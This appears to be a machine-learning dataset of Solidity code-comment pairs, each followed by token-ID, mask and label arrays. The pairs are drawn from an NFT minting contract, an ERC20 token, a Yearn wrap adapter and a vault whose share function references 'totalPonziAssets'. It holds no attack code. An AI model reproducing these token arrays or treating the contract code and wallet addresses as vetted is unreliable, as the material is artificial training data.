\::/__/ ~~\:\/\__\ \:\ \|:| | \::/_/:/ / //x \:\/:/ / \:\ \ \::/ / \:\__|:|__| \:\/:/ / // \::/ / \:\__\ /:/ / \::::/__/ \::/ / // \/__/ \/__/ \/__/ ~~~~ \/__/ /** * @title ERC721a Contract for B.Hive Collection */ contract TheBHive is ERC721A, Ownable, ERC721ABurnable, ReentrancyGuard, MessageSigning, PaymentSplitter { using Strings for uint256; // Provenance Hash of the Bees string public constant BEES_PROVENANCE = "AB29DAFA2947EBF9E83C4DE85019EA386636F7EBF8D37C32E93EE97F18544AF3"; // Max supply uint32 public maxSupply; // Amount of reserved token uint32 public remainingReserves; // Max amount of tokens that can be minted at the same time uint32 public immutable maxBatchSize; // Price token in ether uint256 public price; uint256 public constant startTokenId = 1; mapping(address => uint32) private _presale2MintTracking; // Max token by wallet mapping(string => uint32) private _walletsLimit; // Contract status. If paused, only reserve minting is enabled bool public paused = true; // Sale Phase. Presale if true and public sale if false bool public presale = true; bool public isPresale2 = false; //Flag locking contract from URI changes bool public isLocked = false; // flag showing if the collection is revealed or not bool public revealed = false; // holds the metadata URI string private _baseTokenURI; //payment splitter address[] private addressList = [ 0x06d7A7a8541EA1Ab7a24f179EDeBc0a1DFcAcE75, // expenses wallet 0x586F844C396AEc480AE479EE8FE6Afe103e135E4 // Community Wallet ]; uint256[] private shareList = [80, 20]; /** * @dev Initializes tbe contract with: * unrevealedURI_: the initial URI before the reveal, in a complete format eg: "ipfs://QmdsxxxxxxxxxxxxxxxxxxepJF/hidden.json" * signerAddress_: Whitelist Signer Address */ constructor ( string memory name_, string memory symbol_, address signerAddress_, uint32 maxSupply_, uint32 remainingReserves_, uint32 maxBatchSize_, uint256 price_ ) ERC721A(name_, symbol_) MessageSigning(signerAddress_) PaymentSplitter(addressList, shareList) { require(maxSupply_ >= remainingReserves_, "Maximum Supply should be greater than the reserves"); maxSupply = maxSupply_; remainingReserves = remainingReserves_; maxBatchSize = maxBatchSize_; price = price_; _walletsLimit["OG"] = 3; _walletsLimit["BL"] = 2; _walletsLimit["PS2"] = 3; _walletsLimit["Pub"] = 20; setBaseURI("ipfs://QmV2enMdpu8cR6XtN11bHJaDM7TYoXvQ1Ex44DYM2s7R3X"); // unrevealedURI_ } function _startTokenId() internal pure override returns (uint256) { return startTokenId; } /** * @dev change the signerAddress just in case */ function setSignerAddress(address newsignerAddress) external onlyOwner{ _setSignerAddress(newsignerAddress); } /** * @dev Switch the status of the contract */ function switchPauseStatus() external onlyOwner{ paused = !paused; } /** * @dev End the presale & sets the public Sales price */ function endPresale(uint256 publicSalesPrice) external onlyOwner{ require(presale, "Presale already ended"); price = publicSalesPrice; presale = false; isPresale2 = false; } /** * @dev enables presale phase 2 */ function startPresale2() external onlyOwner{ require(presale, "Presale already ended"); require(!isPresale2, "Presale phase 3 already active"); isPresale2 = true; } /** * @dev Change the `price` of the token for `newPrice` */ function setNewPrice(uint newPrice) external onlyOwner{ require(price != newPrice, "New Price should be different than current price"); price = newPrice; } /** * @dev Updating the max allowed in each phase */ function updateWalletsLimit (uint32 newWalletsLimit, string memory list) external onlyOwner{ require(_walletsLimit[list] != newWalletsLimit, "New limit per wallet cannot be equal to the current one"); _walletsLimit[list] = newWalletsLimit; } /** * @dev changes the base uri to the revealedURI and sets the revealed to true * @param revealedURI_: the final URI after reveal in a format eg: "ipfs://QmdsxxxxxxxxxxxxxxxxxxepJF/" */ function revealCollection(string memory revealedURI_) external onlyOwner { require(!revealed, "Collection already revealed"); revealed = true; setBaseURI(revealedURI_); } /** * @dev Decreases the total supply */ function decreaseSupply(uint32 newSupply, uint32 newRemainingReserves) external onlyOwner { require(newSupply < maxSupply,"Maximum supply can only be decreased"); require(newRemainingReserves <= remainingReserves, "Reseves cannot be increased"); require(newSupply >= newRemainingReserves + totalSupply(), "Maximum supply cannot be lower than the current supply + reserves"); maxSupply = newSupply; remainingReserves = newRemainingReserves; } /** * @dev ERC721 standard * @return baseURI value */ function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /** * @dev Set the base URI * * The style MUST BE as follow : "ipfs://QmdsaXXXXXXXXXXXXXXXXXXXX7epJF/" */ function setBaseURI(string memory newBaseTokenURI) public onlyOwner { require (!isLocked, "Metadata is locked!"); _baseTokenURI = newBaseTokenURI; } // minting /** * @dev Admin Mint of reserves */ function AirDrop (address to, uint32 amountToMint) external onlyOwner{ require (to != address(0), "address 0 requested"); require (amountToMint <= remainingReserves, "The requested amount is greater than the remaining reserves"); require (amountToMint > 0, "Amount should be greater than 0"); require (amountToMint <= maxBatchSize, "Quantity to mint too high"); _safeMint(to, amountToMint); remainingReserves -= amountToMint; } /** * @dev Minting for whitelisted addresses */ function whitelistMinting(uint amountToMint, bytes memory WhitelistSignature, string memory presaleList) external payable { require (presale, "Presale over!"); require (isValidSignature(abi.encodePacked(_msgSender(), presaleList), WhitelistSignature), "Wallet not whitelisted"); if(!isPresale2){ require (_getAux(msg.sender) + amountToMint <= _walletsLimit[presaleList], "max NFTs per address exceeded"); _setAux(msg.sender, uint64(_getAux(msg.sender) + amountToMint)); } else { require(_numberMinted(msg.sender) - _getAux(msg.sender) + amountToMint <= _walletsLimit[presaleList], "max NFTs per address exceeded"); _presale2MintTracking[msg.sender] += uint32(amountToMint); } _mintNFT(amountToMint); } /** * @dev Minting for the public sale */ function publicMint(uint amountToMint) external payable{ require (!presale, "Presale on"); require(_numberMinted(msg.sender) - _getAux(msg.sender) - _presale2MintTracking[msg.sender] + amountToMint <= _walletsLimit["Pub"] , "max NFTs per address exceeded"); _mintNFT(amountToMint); } /** * @dev Mint the amount of NFT requested */ function _mintNFT(uint _amountToMint) internal nonReentrant { require (!paused, "Contract paused"); require (_amountToMint > 0, "Amount should be greater than 0"); require (_amountToMint + totalSupply() <= maxSupply - remainingReserves, "Request superior max Supply"); require (msg.value == price*_amountToMint, "Incorrect Payment Amount"); require (_amountToMint <= maxBatchSize, "Quantity to mint too high"); _safeMint(msg.sender, _amountToMint); } /** * @dev Return the URI of the NFT * @notice return the hidden URI then the Revealed JSON when the Revealed param is true */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId),"ERC721Metadata: URI query for nonexistent token"); if(!revealed) { return _baseURI(); } string memory URI = _baseURI(); return bytes(URI).length > 0 ? string(abi.encodePacked(URI, tokenId.toString(), ".json")) : ""; } /** * @dev Return the number of minted tokens for a wallet address * @param presalePhase 1 for presale phases 1 & 2, 3 for presale Phase 3, any other nbr for public sale */ function getNbrOfMintedToken(address wallet, uint32 presalePhase) external view returns (uint256) { if(presalePhase == 1) { return _getAux(wallet); } if(presalePhase == 3) { return _presale2MintTracking[wallet]; } return _numberMinted(wallet) - _getAux(wallet) - _presale2MintTracking[wallet]; } function getWalletsLimit(string memory list) external view returns (uint32) { return _walletsLimit[list]; } /** * @dev Return an array of token Id owned by `_owner` */ function walletOfOwner(address _owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty arraya return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 currentTokenId = _startTokenId(); uint256 index = 0; address lastOwner; while (index < tokenCount && currentTokenId < _currentIndex) { if (!_ownerships[currentTokenId].burned && _ownerships[currentTokenId].addr != address(0)) { lastOwner = _ownerships[currentTokenId].addr; } if (lastOwner == _owner && !_ownerships[currentTokenId].burned) { result[index] = currentTokenId; unchecked { index++; } } unchecked { currentTokenId++; } } return result; } } /** * @dev and for the eternity.... **/ function lockMetadata() external onlyOwner { require(!isLocked, "Metadata Already Locked"); require(revealed, "Collection should be revealed before being locked"); isLocked = true; } }
* @dev Decreases the total supply/
function decreaseSupply(uint32 newSupply, uint32 newRemainingReserves) external onlyOwner { require(newSupply < maxSupply,"Maximum supply can only be decreased"); require(newRemainingReserves <= remainingReserves, "Reseves cannot be increased"); require(newSupply >= newRemainingReserves + totalSupply(), "Maximum supply cannot be lower than the current supply + reserves"); maxSupply = newSupply; remainingReserves = newRemainingReserves; }
15,454,360
[ 1, 23326, 3304, 326, 2078, 14467, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 20467, 3088, 1283, 12, 11890, 1578, 394, 3088, 1283, 16, 2254, 1578, 394, 11429, 607, 264, 3324, 13, 3903, 1338, 5541, 288, 203, 3639, 2583, 12, 2704, 3088, 1283, 411, 943, 3088, 1283, 10837, 13528, 14467, 848, 1338, 506, 23850, 8905, 8863, 203, 3639, 2583, 12, 2704, 11429, 607, 264, 3324, 1648, 4463, 607, 264, 3324, 16, 315, 607, 73, 3324, 2780, 506, 31383, 8863, 203, 3639, 2583, 12, 2704, 3088, 1283, 1545, 394, 11429, 607, 264, 3324, 397, 2078, 3088, 1283, 9334, 315, 13528, 14467, 2780, 506, 2612, 2353, 326, 783, 14467, 397, 400, 264, 3324, 8863, 203, 203, 3639, 943, 3088, 1283, 273, 394, 3088, 1283, 31, 203, 3639, 4463, 607, 264, 3324, 225, 273, 394, 11429, 607, 264, 3324, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x060a72D4b25E187AEdCC1712a41EAa3621ad5EB3/sources/SnowBall-v1/Vault.sol
* @dev Internal conversion function (from shares to assets) with support for rounding direction./
function _convertToAssets(uint256 shares, Math.Rounding rounding) internal view virtual returns (uint256) { uint256 tSupply = totalSupply(); uint256 tpAssets = totalPonziAssets(); uint256 assets; if(tSupply == 0){ assets = shares; } else{ assets = shares.mulDiv(tpAssets,tSupply,rounding); } return assets; }
9,485,391
[ 1, 3061, 4105, 445, 261, 2080, 24123, 358, 7176, 13, 598, 2865, 364, 13885, 4068, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 6283, 774, 10726, 12, 11890, 5034, 24123, 16, 2361, 18, 11066, 310, 13885, 13, 2713, 1476, 5024, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 268, 3088, 1283, 273, 2078, 3088, 1283, 5621, 203, 3639, 2254, 5034, 8071, 10726, 273, 2078, 52, 265, 94, 77, 10726, 5621, 203, 3639, 2254, 5034, 7176, 31, 203, 203, 3639, 309, 12, 88, 3088, 1283, 422, 374, 15329, 203, 5411, 7176, 273, 24123, 31, 203, 3639, 289, 203, 3639, 469, 95, 203, 5411, 7176, 273, 24123, 18, 16411, 7244, 12, 6834, 10726, 16, 88, 3088, 1283, 16, 17376, 1769, 203, 3639, 289, 203, 540, 203, 3639, 327, 7176, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // 'OMIA' '$omiaco' Smart Contract // // Symbol : $omiaco // Name : OMIA // Total supply: 1,000,000 // Decimals : 8 // // // // (c) OMIA Pty Ltd 2021. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Burn(address indexed from, uint256 value); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address payable msWallet; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; msWallet = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); msWallet = msg.sender; owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and a // fixed supply // ---------------------------------------------------------------------------- contract OMIA is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "$omiaco"; name = "OMIA"; decimals = 8; _totalSupply = 1000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] -= _value; // Subtract from the sender _totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowed[_from][msg.sender]); // Check allowance balances[_from] -= _value; // Subtract from the targeted balance allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowance _totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
Check if the sender has enough
require(balances[msg.sender] >= _value);
6,266,753
[ 1, 1564, 309, 326, 5793, 711, 7304, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 2583, 12, 70, 26488, 63, 3576, 18, 15330, 65, 1545, 389, 1132, 1769, 565, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IYearnVault } from "../../../interfaces/external/IYearnVault.sol"; /** * @title YearnWrapAdapter * @author Set Protocol, Ember Fund * * Wrap adapter for Yearn that returns data for wraps/unwraps of tokens */ contract YearnWrapAdapter { /* ============ Modifiers ============ */ /** * Throws if the underlying/wrapped token pair is not valid */ modifier _onlyValidTokenPair(address _underlyingToken, address _wrappedToken) { require(validTokenPair(_underlyingToken, _wrappedToken), "Must be a valid token pair"); _; } /* ============ Constructor ============ */ constructor() public { } /* ============ External Getter Functions ============ */ /** * Generates the calldata to wrap an underlying asset into a wrappedToken. * * @param _underlyingToken Address of the component to be wrapped * @param _wrappedToken Address of the desired wrapped token * @param _underlyingUnits Total quantity of underlying units to wrap * * @return address Target contract address * @return uint256 Total quantity of underlying units (if underlying is ETH) * @return bytes Wrap calldata */ function getWrapCallData( address _underlyingToken, address _wrappedToken, uint256 _underlyingUnits ) external view _onlyValidTokenPair(_underlyingToken, _wrappedToken) returns (address, uint256, bytes memory) { bytes memory callData = abi.encodeWithSignature("deposit(uint256)", _underlyingUnits); return (address(_wrappedToken), 0, callData); } /** * Generates the calldata to unwrap a wrapped asset into its underlying. * * @param _underlyingToken Address of the underlying asset * @param _wrappedToken Address of the component to be unwrapped * @param _wrappedTokenUnits Total quantity of wrapped token units to unwrap * * @return address Target contract address * @return uint256 Total quantity of wrapped token units to unwrap. This will always be 0 for unwrapping * @return bytes Unwrap calldata */ function getUnwrapCallData( address _underlyingToken, address _wrappedToken, uint256 _wrappedTokenUnits ) external view _onlyValidTokenPair(_underlyingToken, _wrappedToken) returns (address, uint256, bytes memory) { bytes memory callData = abi.encodeWithSignature("withdraw(uint256)", _wrappedTokenUnits); return (address(_wrappedToken), 0, callData); } /** * Returns the address to approve source tokens for wrapping. * * @return address Address of the contract to approve tokens to */ function getSpenderAddress(address /* _underlyingToken */, address _wrappedToken) external pure returns(address) { return address(_wrappedToken); } /* ============ Internal Functions ============ */ /** * Validates the underlying and wrapped token pair * * @param _underlyingToken Address of the underlying asset * @param _wrappedToken Address of the wrapped asset * * @return bool Whether or not the wrapped token accepts the underlying token as collateral */ function validTokenPair(address _underlyingToken, address _wrappedToken) internal view returns(bool) { address unwrappedToken = IYearnVault(_wrappedToken).token(); return unwrappedToken == _underlyingToken; } }
* Validates the underlying and wrapped token pair @param _underlyingToken Address of the underlying asset @param _wrappedToken Address of the wrapped asset @return bool Whether or not the wrapped token accepts the underlying token as collateral/
function validTokenPair(address _underlyingToken, address _wrappedToken) internal view returns(bool) { address unwrappedToken = IYearnVault(_wrappedToken).token(); return unwrappedToken == _underlyingToken; }
12,974,338
[ 1, 9594, 326, 6808, 471, 5805, 1147, 3082, 225, 389, 9341, 6291, 1345, 377, 5267, 434, 326, 6808, 3310, 225, 389, 18704, 1345, 3639, 5267, 434, 326, 5805, 3310, 327, 1426, 7734, 17403, 578, 486, 326, 5805, 1147, 8104, 326, 6808, 1147, 487, 4508, 2045, 287, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
